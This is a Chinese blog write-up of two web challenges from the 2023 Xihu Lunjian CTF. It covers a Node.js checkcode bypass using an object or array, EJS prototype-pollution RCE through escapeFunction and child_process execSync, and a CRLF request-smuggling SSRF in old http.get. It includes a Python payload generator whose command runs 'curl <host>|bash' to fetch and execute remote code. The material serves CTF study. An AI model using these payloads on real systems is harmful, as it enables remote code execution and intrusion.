首页 > 其他分享 >2023西湖论剑

2023西湖论剑

时间:2023-02-07 15:44:15浏览次数:59  
标签:req res checkcode 西湖 2023 报错 constructor text 论剑

2023西湖论剑

Node Magical Login

flag分为两部分

flag1可以通过Flag1Controller函数获得

function Flag1Controller(req,res){
    try {
        if(req.cookies.user === SECRET_COOKIE){
            res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
            res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
            res.status(200).type("text/html").send("Login success. Welcome,admin!")
        }
        if(req.cookies.user === "admin") {
            res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
            res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
        }else{
            res.status(401).type("text/html").send("Unauthorized")
        }
    }catch (__) {}
}

进入第二个if 让cookie的user为admin就可以在http请求头获得flag1

第二个flag在CheckController函数中

function CheckController(req,res) {
    let checkcode = req.body.checkcode? req.body.checkcode: 1234;
    console.log(req.body)
    if(checkcode.length === 16){
        try{
            checkcode = checkcode.toLowerCase()
            if(checkcode !== "aGr5AtSp55dRacer"){
                res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
            }
        }catch (__) {}
        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
    }else{
        res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
    }
}

先看一下如何获得flag

有个try catch 这里我们要让他在 try里面报错才可以执行到

        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})

这里有两种方法让他报错

这里让try里面的代码块报错就只让他在checkcode = checkcode.toLowerCase()这个语句中报错

先看第一种

无论怎样他必须要满足前面的if判断if(checkcode.length === 16){ 然后有让后面的转小写产生报错

所以这里可以用对象来产生报错

使checkcode为checkcode={'length':16}

这里要注意的使 js也是有强等于和弱等于的 所以这里的16必须要是数字型的

然后是对象转小写会产生报错

image-20230204125501413

第二种

这里是使用数组来产生报错

同样 这里还是必须要满足前面的if判断

image-20230204125715484

实际上这里利用的是 js数组和对象对于.length的用法

数组 对象 还是字符串 可以可以直接使用. 来引用

数组.length表示的 和 字符串.length表示的都是同样的意思 第一个是 数组里面个体的数目 字符串表示就是 里面有多少字符

而对象的话 是可以通过. 来引用其中的属性 这里我们可以直接设置一个属性为 length 值为16就可以了

然后利用 数组和对象不能通过toLowerCase这个方法转小写 来产生报错 就可以了

real_ez_node

考点有两个一个是原型链污染配合ejs模板渲染

safeobj.expand存在原型链污染

image-20230207150121245

image-20230207150145369

知道如何污染之后看污染成什么东西

这里用的是ejs模板引擎 被原型链污染后 可以rce

{"constructor.prototype.client":true,"constructor.prototype.escapeFunction":"global.process.mainModule.constructor._load('child_process').execSync('"id"')"}

因为禁用了__proto__使用constructor.prototype代替

还有一个是nodejs的http.get 请求导致的CRLF 最终造成ssrf

这里需要用到一些关于http报文的知识 不太了解的话可以去了解一下 方便更好的了解crlf之前我也知识大体的了解这个东西

在低版本的http.get中 存在CRLF漏洞

{"constructor.prototype.client":true,"constructor.prototype.escapeFunction":"global.process.mainModule.constructor._load('child_process').execSync('\"`dir`\"')"}

原理是nodejs.讲http请求写入路径时,对unicode字符的有损编码引起的。

HTTP请求路径通常指定为字符串 但是nodejs最终将请求作为原始字节输出,并且js支持unicode编码 并且js默认的是latin1一种单字节编码字符集 不能表示高编号的unicode字符 当我们使用高编号的unicode字符的时候就会截取最低字节

例如:\u0130会被自动截断为\u30

所以我们就可以利用这一点来实现ssrf

因为要crlf就是要拼接换行回车\r\n所以我们可以在路径上写入unicode编码后两位是\r\nurl编码之后的

“\r”(%0d)和 “\n”(%0a)

例如\u{010D}\u

然后js会默认截取后两位 然后就会造成crlf漏洞

生成payload脚本 脚本文章

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 3000.endpoint-f4a41261f41142dfb14d60dc0361f7bc.ins.cloud.dasctf.com:81
Content-Length: 204
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://3000.endpoint-f4a41261f41142dfb14d60dc0361f7bc.ins.cloud.dasctf.com:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://3000.endpoint-f4a41261f41142dfb14d60dc0361f7bc.ins.cloud.dasctf.com:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

constructor.prototype.client=true&constructor.prototype.escapeFunction=global.process.mainModule.constructor._load%28%27child_process%27%29.execSync%28%27%5C%22%60curl+81.70.xxx.xxx%7Cbash%60%5C%22%27%29

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret

payload = payload_encode(payload)
print(payload)

这里因为无回显可使用curl反弹shell

标签:req,res,checkcode,西湖,2023,报错,constructor,text,论剑
From: https://www.cnblogs.com/kkkkl/p/17098679.html

相关文章